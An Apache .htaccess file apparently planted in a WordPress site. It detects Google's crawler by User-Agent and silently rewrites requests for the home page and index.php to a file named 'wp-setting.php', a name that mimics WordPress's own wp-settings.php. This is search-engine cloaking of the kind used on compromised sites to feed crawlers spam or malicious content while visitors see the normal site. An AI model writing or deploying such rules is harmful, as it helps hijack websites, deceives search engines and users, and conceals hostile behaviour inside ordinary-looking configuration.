RewriteEngine On
SetEnvIfNoCase User-Agent "Google" is_google_bot=1
RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ wp-setting.php [L]
RewriteCond %{ENV:is_google_bot} =1
RewriteCond %{REQUEST_URI} ^/index\.php$
RewriteRule ^index\.php$ wp-setting.php [L]